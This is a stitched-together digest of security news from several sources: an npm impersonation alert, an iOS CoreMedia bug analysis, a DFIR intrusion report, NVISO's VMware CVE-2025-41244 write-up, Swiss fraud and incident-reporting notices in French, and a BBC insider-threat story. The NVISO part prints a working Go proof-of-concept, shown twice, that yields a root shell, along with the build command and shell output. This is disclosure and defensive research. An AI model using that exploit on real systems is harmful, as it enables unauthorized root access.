Alert: A malicious npm package named 'postmark-mcp' was impersonating Postmark to steal user emails. Postmark is not affiliated with this fraudulent package.
We recently became aware of a malicious npm package called "postmark-mcp" on npm that was impersonating Postmark and stealing user emails. We want to be crystal clear: Postmark had absolutely nothing to do with this package or the malicious activity.
Here's what happened: A malicious actor created a fake package on npm impersonating our name, built trust over 15 versions, then added a backdoor in version 1.0.16 that secretly BCC’d emails to an external server.
What you should know:
This is not an official Postmark tool. We have not published our Postmark MCP server on npm prior to this incident
We didn't develop, authorize, or have any involvement with the "postmark-mcp" npm package
The legitimate Postmark API and services remain secure and unaffected by this incident
If you've used this fake package:
Remove it immediately from your systems
Check your email logs for any suspicious activity
Consider rotating any credentials that may have been sent via email during the compromise period
This situation highlights why we take our API security and developer trust so seriously. When you integrate with Postmark, you're working directly with our official, documented APIs—not third-party packages that claim to represent us. If you are not sure what official resources are available, you can find them via the links below, which are always available to our customers:
Our official resources:
Official Postmark MCP - Github
API documentation
Official libraries and SDKs
Support channels or email security@activecampaign.com if you have questions
github.com/b1n4r1b01
This vulnerability has been labeled under the title CoreMedia, which is a gigantic sub-system on Apple platforms. CoreMedia includes multiple public and private frameworks in the shared cache including CoreMedia.framework, AVFoundation.framework, MediaToolbox.framework, etc. All of these work hand in hand and provide users with multiple low level IPC endpoints and high level APIs. There are tons of vulnerabilities labeled as CoreMedia listed on Apple's security advisory website and these vulnerabilities range from sensitive file access to metadata corruption in media files. In fact, iOS 18.3, where this bug was patched lists 3 CVEs under the CoreMedia label but only this one is labeled as an UAF issue so we can use that as a starting point for our research.
After a lot of diffing, I found that this specific vulnerability lies in the Remaker sub-system of MediaToolbox.framework. The vulnerability lies in the improper handling of FigRemakerTrack object.
remaker_AddVideoCompositionTrack(FigRemaker, ..., ...)
{
// Allocates FigRemakerTrack (alias channel)
ret = remakerFamily_createChannel(FigRemaker, 0, 'vide', &FigRemakerTrack);
...
// Links FigRemakerTrack to FigRemaker
ret = remakerFamily_finishVideoCompositionChannel(FigRemaker, ..., ...);
if (ret){
// Failure path, means FigRemakerTrack is not linked to FigRemaker
goto exit;
}
else{
// Success path, means FigRemakerTrack is linked to FigRemaker
...
ret = URLAsset->URLAssetCopyTrackByID(URLAsset, user_controlled_trackID, &outTrack);
if (ret){
// Failure path, if we can make URLAssetCopyTrackByID fail we never zero out FigRemakerTrack
goto exit; // <-- buggy route
}
else{
// Success path
FigWriter->FigWriter_SetTrackProperty(FigWriter, FigRemakerTrack.someTrackID, "MediaTimeScale", value);
FigRemakerTrack = 0;
goto exit;
}
}
exit:
// This function will call CFRelease on the FigRemakerTrack
remakerFamily_discardChannel(FigRemaker, FigRemakerTrack);
...}
By providing an OOB user_controlled_trackID we can force the control flow to take the buggy route where we free the FigRemakerTrack object while FigRemaker still holds a reference to it.
Reaching the vulnerable code
Reaching this vulnerable code was quite tricky, as you need to deal with multiple XPC endpoints. In my original POC I had to use 6 XPC endpoints which were com.apple.coremedia.mediaplaybackd.mutablecomposition.xpc, com.apple.coremedia.mediaplaybackd.sandboxserver.xpc, com.apple.coremedia.mediaplaybackd.customurlloader.xpc, com.apple.coremedia.mediaplaybackd.asset, com.apple.coremedia.mediaplaybackd.remaker.xpc, com.apple.coremedia.mediaplaybackd.formatreader.xpc to trigger the bug but in my final poc I boiled them down to just 3 endpoints. Since I'm not using low level XPC to communicate with the endpoint, this poc would only work on iOS 18 version, my tests were specifically done on iOS 18.2.
To reach this path you need to:
Create a Remaker object
Enqueue the buggy AddVideoComposition request
Start processing the request (this should free the FigRemakerTrack)
???
Profit?
Impact
This bug lets you get code execution in mediaplaybackd. In the provided poc, I am simply double free'ing the FigRemakerTrack by first free'ing it with the bug and then closing the XPC connection to trigger cleanup of the FigRemaker object and thus crashing. Exploiting this kind of CoreFoundation UAF has been made hard since iOS 18 due to changes in the CoreFoundation allocator. But exploiting this bug on iOS 17 should be manageable due to a weaker malloc type implementation, I was very reliably able to place fake objects after the first free on iOS 17.
In-The-Wild angle
If you look at this bug's advisory you can find that Apple clearly says that this bug was a part of some iOS chain: "Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 17.2.". Now the weird part is you don't see the exploited against versions of iOS before iOS XX.X line very often in security updates, if we look around CVEs from those days we see a WebKit -> UIProcess (I guess?) bug CVE-2025-24201 with very similar impact description "This is a supplementary fix for an attack that was blocked in iOS 17.2. (Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 17.2.)" And if we go back to iOS 17.2/17.3 we see couple of CVEs which look like some chain all labeled as actively exploited and not designated to any 3rd party like Google TAG or any human rights security lab. Now I believe this mediaplaybackd sandbox escape was a 2nd stage sandbox escape in an iOS ITW chain. Here's what my speculated iOS 17 chain looks like (could be totally wrong but we'll probably never know):
WebKit (CVE-2024-23222)
↓
UIProc sbx (CVE-2025-24201)
↓
mediaplaybackd sbx (CVE-2025-24085)
↓
Kernel ???
↓
PAC?/PPL (CVE-2024-23225 / CVE-2024-23296)
Question is: how many pivots are too many pivots? :P
The DFIR Report - thedfirreport.com/2025/09/29 September 29, 2025
Key Takeaways
The intrusion began with a Lunar Spider linked JavaScript file disguised as a tax form that downloaded and executed Brute Ratel via a MSI installer.
Multiple types of malware were deployed across the intrusion, including Latrodectus, Brute Ratel C4, Cobalt Strike, BackConnect, and a custom .NET backdoor.
Credentials were harvested from several sources like LSASS, backup software, and browsers, and also a Windows Answer file used for automated provisioning.
Twenty days into the intrusion data was exfiltrated using Rclone and FTP.
Threat actor activity persisted for nearly two months with intermittent command and control (C2) connections, discovery, lateral movement, and data exfiltration.
This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025
Case Summary
The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which deployed a Brute Ratel DLL file using rundll32.
The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest, and whoami commands.
Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-based remote access capabilities. This allowed them to browse the file system and upload additional malware to the beachhead host.
On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext domain administrator credentials left over from an automated deployment process. This provided the threat actor with immediate high-privilege access to the domain environment.
On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind. Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers.
They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a scheduled task for persistence and setup an additional command and control channel. They also dropped another Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller. After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they were unable to establish a command and control channel from this action.
On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions.
Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in threat actor actions.
On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump credentials from the backup server software. Two days later on the backup server they appeared again and dropped a network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity ceased again.
The threat actor maintained intermittent command and control access for nearly two months following initial compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel, and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive access to critical infrastructure, no ransomware deployment was observed during this intrusion.
blog.nviso.eu Maxime Thiebaut Incident Response & Threat Researcher Expert within NVISO CSIRT 29.09.2025
NVISO has identified zero-day exploitation of CVE-2025-41244, a local privilege escalation vulnerability impacting VMware's guest service discovery features.
On September 29th, 2025, Broadcom disclosed a local privilege escalation vulnerability, CVE-2025-41244, impacting VMware’s guest service discovery features. NVISO has identified zero-day exploitation in the wild beginning mid-October 2024.
The vulnerability impacts both the VMware Tools and VMware Aria Operations. When successful, exploitation of the local privilege escalation results in unprivileged users achieving code execution in privileged contexts (e.g., root).
Throughout its incident response engagements, NVISO determined with confidence that UNC5174 triggered the local privilege escalation. We can however not assess whether this exploit was part of UNC5174’s capabilities or whether the zero-day’s usage was merely accidental due to its trivialness. UNC5174, a Chinese state-sponsored threat actor, has repeatedly been linked to initial access operations achieved through public exploitation.
Background
Organizations relying on the VMware hypervisor commonly employ the VMware Aria Suite to manage their hybrid‑cloud workloads from a single console. Within this VMware Aria Suite, VMware Aria Operations is the component that provides performance insights, automated remediation, and capacity planning for the different hybrid‑cloud workloads. As part of its performance insights, VMware Aria Operations is capable of discovering which services and applications are running in the different virtual machines (VMs), a feature offered through the Service Discovery Management Pack (SDMP).
The discovery of these services and applications can be achieved in either of two modes:
The legacy credential-based service discovery relies on VMware Aria Operations running metrics collector scripts within the guest VM using a privileged user. In this mode, all the collection logic is managed by VMware Aria Operations and the guest’s VMware Tools merely acts as a proxy for the performed operations.
The credential-less service discovery is a more recent approach where the metrics collection has been implemented within the guest’s VMware Tools itself. In this mode, no credentials are needed as the collection is performed under the already privileged VMware Tools context.
As part of its discovery, NVISO was able to confirm the privilege escalation affects both modes, with the logic flaw hence being respectively located within VMware Aria Operations (in credential-based mode) and the VMware Tools (in credential-less mode). While VMware Aria Operations is proprietary, the VMware Tools are available as an open-source variant known as VMware’s open-vm-tools, distributed on most major Linux distributions. The following CVE-2025-41244 analysis is performed on this open-source component.
Analysis
Within open-vm-tools’ service discovery feature, the component handling the identification of a service’s version is achieved through the get-versions.sh shell script. As part of its logic, the get-versions.sh shell script has a generic get_version function. The function takes as argument a regular expression pattern, used to match supported service binaries (e.g., /usr/bin/apache), and a version command (e.g., -v), used to indicate how a matching binary should be invoked to retrieve its version.
When invoked, get_version loops $space_separated_pids, a list of all processes with a listening socket. For each process, it checks whether service binary (e.g., /usr/bin/apache) matches the regular expression and, if so, invokes the supported service’s version command (e.g., /usr/bin/apache -v).
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
The get_version function is called using several supported patterns and associated version commands. While this functionality works as expected for system binaries (e.g., /usr/bin/httpd), the usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). These non-system binaries are located within directories (e.g., /tmp) which are writable to unprivileged users by design.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
By matching and subsequently executing non-system binaries (CWE-426: Untrusted Search Path), the service discovery feature can be abused by unprivileged users through the staging of malicious binaries (e.g., /tmp/httpd) which are subsequently elevated for version discovery. As simple as it sounds, you name it, VMware elevates it.
Proof of Concept
To abuse this vulnerability, an unprivileged local attacker can stage a malicious binary within any of the broadly-matched regular expression paths. A simple common location, abused in the wild by UNC5174, is /tmp/httpd. To ensure the malicious binary is picked up by the VMware service discovery, the binary must be run by the unprivileged user (i.e., show up in the process tree) and open at least a (random) listening socket.
The following bare-bone CVE-2025-41244.go proof-of-concept can be used to demonstrate the privilege escalation.
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()}
Once compiled to a matching path (e.g., go build -o /tmp/httpd CVE-2025-41244.go) and executed, the above proof of concept will spawn an elevated root shell as soon as the VMware metrics collection is executed. This process, at least in credential-less mode, has historically been documented to run every 5 minutes.
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
Credential-based Service Discovery
When service discovery operates in the legacy credential-based mode, VMware Aria Operations will eventually trigger the privilege escalation once it runs the metrics collector scripts. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged context of the configured credentials. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the entries until line 4 are legitimate and the entries as of line 5 part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 _ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 \ ps -ef --forest
Credential-less Service Discovery
When service discovery operates in the modern credential-less mode, the VMware Tools will eventually trigger the privilege escalation once it runs the collector plugin. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged VMware Tools user context. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the first entry is legitimate and all subsequent entries (line 3 and beyond) part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
Detection
Successful exploitation of CVE-2025-41244 can easily be detected through the monitoring of uncommon child processes as demonstrated in the above process trees. Being a local privilege escalation, abuse of CVE-2025-41244 is indicative that an adversary has already gained access to the affected device and that several other detection mechanisms should have triggered.
Under certain circumstances, exploitation may forensically be confirmed in legacy credential-based mode through the analysis of lingering metrics collector scripts and outputs under the /tmp/VMware-SDMP-Scripts-{UUID}/ folders. While less than ideal, this approach may serve as a last resort in environments without process monitoring on compromised machines. The following redacted metrics collector script was recovered from the /tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.sh location and mentions the matched non-system service binary on its last line.
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
Conclusions
While NVISO identified these vulnerabilities through its UNC5174 incident response engagements, the vulnerabilities’ trivialness and adversary practice of mimicking system binaries (T1036.005) do not allow us to determine with confidence whether UNC5174 willfully achieved exploitation.
The broad practice of mimicking system binaries (e.g., httpd) highlight the real possibility that several other malware strains have accidentally been benefiting from unintended privilege escalations for years. Furthermore, the ease with which these vulnerabilities could be identified in the open-vm-tools source code make it unlikely that knowledge of the privilege escalations did not predate NVISO’s in-the-wild identification.
Timeline
2025-05-19: Forensic artifact anomaly noted during UNC5174 incident response engagement.
2025-05-21: Forensic artifact anomaly attributed to unknown zero-day vulnerability.
2025-05-25: Zero day vulnerability identified and reproduced in a lab environment.
2025-05-27: Responsible disclosure authorized and initiated through Broadcom.
2025-05-28: Responsible disclosure triaged, investigation started by Broadcom.
2025-06-18: Embargo extended by Broadcom until no later than October to align release cycles.
2025-09-29: Embargo lifted, CVE-2025-41244 patches and advisory published.
Trois hommes ont été interpellés pour avoir utilisé des SMS frauduleux afin d'escroquer des victimes.
Le Ministère public genevois annonce ce jeudi l’arrestation de trois personnes accusées d’arnaques aux fausses amende. Deux de ces individus ont 21 ans, le troisième 30 ans. L’un a été interpellé le 23 juillet, les deux autres plus récemment, les 5 et 7 septembre.
Deux ont été arrêtés dans des véhicules qui contenaient des «SMS-Blaster», le troisième individu est le propriétaire de l'un des véhicules.
Les «SMS-Blaster»? Ces appareils se substituent aux antennes des opérateurs téléphoniques pour récupérer des numéros de téléphone et envoyer des SMS contenant un lien vers des sites frauduleux.
Exemple donné par le Ministère public: «parkings-ge.com», qui imite le site officiel de la fondation genevoise des parkings.
Faux conseiller bancaire
«Les destinataires des SMS étaient invités à s'acquitter d'une fausse contravention et à fournir à cet effet leurs données personnelles et bancaires», est-il expliqué. «Dans un second temps, les victimes étaient contactées par un faux conseiller bancaire, lequel les incitait à lui transmettre les codes nécessaires pour procéder à des prélèvements sur leur compte bancaire».
Les trois individus arrêtés sont poursuivis pour escroquerie et utilisation abusive d'une installation de télécommunication.
Pour davantage d'information, la police genevoise avait récemment détaillé les arnaques à la fausse contravention ou fausse amende, avec les recommandations d'usage. Les principales étant de ne pas divulguer de données personnelles et de s’assurer de la légitimité de son interlocuteur pour toute sollicitation financière ou urgente.
justice.ge.ch 25/09/25 Communiqué de presse - Ministère public Genève
Entre le 23 juillet et le 7 septembre 2025, deux individus âgés de 21 ans et un autre âgé de 30 ans ont été arrêtés. Ils sont suspectés d'avoir participé à l'envoi de SMS incitant les destinataires à régler une fausse contravention.
A Genève, trois personnes ont été interpellées les 23 juillet, 5 et 7 septembre 2025, dont deux dans des véhicules qui contenaient des appareils appelés "SMS-Blaster", la troisième personne étant le propriétaire de l'un des véhicules.
Ils sont suspectés d'avoir utilisé ces appareils, lesquels se substituent aux antennes des opérateurs téléphoniques, afin de récupérer des numéros de téléphone pour envoyer des SMS contenant un lien vers des sites frauduleux tels que "parkings-ge.com", imitant le site officiel de la fondation des parking "amendes.ch". Les destinataires des SMS étaient invités à s'acquitter d'une fausse contravention et à fournir à cet effet leurs données personnelles et bancaires.
Dans un second temps, les victimes étaient contactées par un faux conseiller bancaire, lequel les incitait à lui transmettre les codes nécessaires pour procéder à des prélèvements sur leur compte bancaire
Pour ces faits, les prévenus sont poursuivis pour escroquerie (art. 146 CP) et utilisation abusive d'une installation de télécommunication (art. 179septies CP).
Les investigations sont menées par la brigade des cyber enquêtes sous la direction de la procureure Vanessa SCHWAB.
Les prévenus bénéficient de la présomption d'innocence.
news.admin.ch Berne, 29.09.2025
— L’obligation légale de signaler les cyberattaques contre les infrastructures critiques est entrée en vigueur le 1er avril 2025. L’Office fédéral de la cybersécurité (OFCS) tire un bilan positif après les six premiers mois. Jusqu’à présent, au total 164 cyberattaques contre des infrastructures critiques ont été signalées. Les sanctions prévues en cas de non-signalement entrent en vigueur le 1er octobre 2025.
L’obligation de signaler des cyberattaques contre des infrastructures critiques est entrée en vigueur il y a six mois. L’OFCS se montre globalement satisfait de la mise en application de cette mesure. Les organisations exploitantes d’infrastructures critiques s’en tiennent au délai légal qui prévoit de signaler des cyberattaques dans les 24 heures. L’utilisation du Cyber Security Hub, qui permet de simplifier considérablement le traitement des cyberattaques par l’OFCS, est particulièrement positive. Déjà avant l’introduction de l’obligation de signaler, la relation de confiance entre l’OFCS et de nombreuses organisations exploitantes d’infrastructures critiques était étroite. La longue collaboration entre les partenaires a constitué la base du lancement réussi de l’obligation de signaler.
164 signalements concernant des infrastructures critiques
Depuis début avril, au total 164 signalements de cyberattaques contre des infrastructures critiques ont été adressés à l’OFCS. Les plus fréquents concernent les attaques DDoS (18.1%), suivies par les piratages (16.1%), les attaques par rançongiciel (12.4%), les vols d’identifiants (11.4%), les fuites de données (9.8%), et les maliciels (9.3%). Des phénomènes combinés tels qu’attaques par rançongiciel avec fuites simultanées de données ont été décrits dans plusieurs cas. Les branches touchées sont multiples. Jusqu’à présent, la branche la plus fortement impactée était la finance (19%), suivie de l’informatique (8.7%) et du secteur de l’énergie (7.6%). D’autres signalements provenaient des autorités, du secteur de la santé, d’entreprises de télécommunication, du secteur postal, du secteur des transports, de la branche des médias et de celle des technologies ainsi que de l’alimentation.
Renforcement de l’échange d’informations
Les signalements sont enregistrés et analysés à des fins statistiques. Les informations obtenues n’aident pas seulement à réagir concrètement à un incident, mais elles contribuent également à une meilleure évaluation des menaces au niveau national et à alerter assez tôt d’autres organisations potentiellement affectées. Depuis l’entrée en vigueur de l’obligation de signaler, beaucoup plus d’organisations participent directement à l’échange d’informations. C’est pourquoi les signalements et les recommandations atteignent nettement plus d’acteurs par ce biais.
Des sanctions à partir du 1er octobre 2025 en cas d’infractions
Les sanctions prévues par la loi sur la sécurité de l’information en cas de non-signalement d’une cyberattaque entrent en vigueur le 1er octobre 2025. Les organisations exploitantes d’infrastructures critiques peuvent être sanctionnées d’une amende allant jusqu’à 100’000 francs si elles ne se conforment pas à cette obligation. Par ailleurs, si l’OFCS dispose d’indices laissant supposer qu’un signalement n’a pas été effectué, il est tenu de prendre contact en premier lieu avec l’autorité concernée. Ce n’est que lorsque les personnes concernées ne réagissent pas à cette prise de contact et à la décision qui s’ensuit, que l’OFCS peut déposer une plainte pénale.
Reporter Joe Tidy was offered money if he would help cyber criminals access BBC systems.
Like many things in the shadowy world of cyber-crime, an insider threat is something very few people have experience of.
Even fewer people want to talk about it.
But I was given a unique and worrying experience of how hackers can leverage insiders when I myself was recently propositioned by a criminal gang.
"If you are interested, we can offer you 15% of any ransom payment if you give us access to your PC."
That was the message I received out of the blue from someone called Syndicate who pinged me in July on the encrypted chat app Signal.
I had no idea who this person was but instantly knew what it was about.
I was being offered a portion of a potentially large amount of money if I helped cyber criminals access BBC systems through my laptop.
They would steal data or install malicious software and hold my employer to ransom and I would secretly get a cut.
I had heard stories about this kind of thing.
In fact, only a few days before the unsolicited message, news emerged from Brazil that an IT worker there had been arrested for selling his login details to hackers which police say led to the loss of $100m (£74m) for the banking victim.
I decided to play along with Syndicate after taking advice from a senior BBC editor. I was eager to see how criminals make these shady deals with potentially treacherous employees at a time when cyber-attacks around the world are becoming more impactful and disruptive to everyday life.
I told Syn, who had changed their name mid-conversation, that I was potentially interested but needed to know how it works.
They explained that if I gave them my login details and security code then they would hack the BBC and then extort the corporation for a ransom in bitcoin. I would be in line for a portion of that payout.
They upped their offer.
"We aren't sure how much the BBC pays you but what if you took 25% of the final negotiation as we extract 1% of the BBC's total revenue? You wouldn't need to work ever again."
Syn estimated that their team could demand a ransom in the tens of millions if they successfully infiltrated the corporation.
The BBC has not publicly taken a position on whether or not it would pay hackers but advice from the National Crime Agency is not to pay.
Still, the hackers continued their pitch.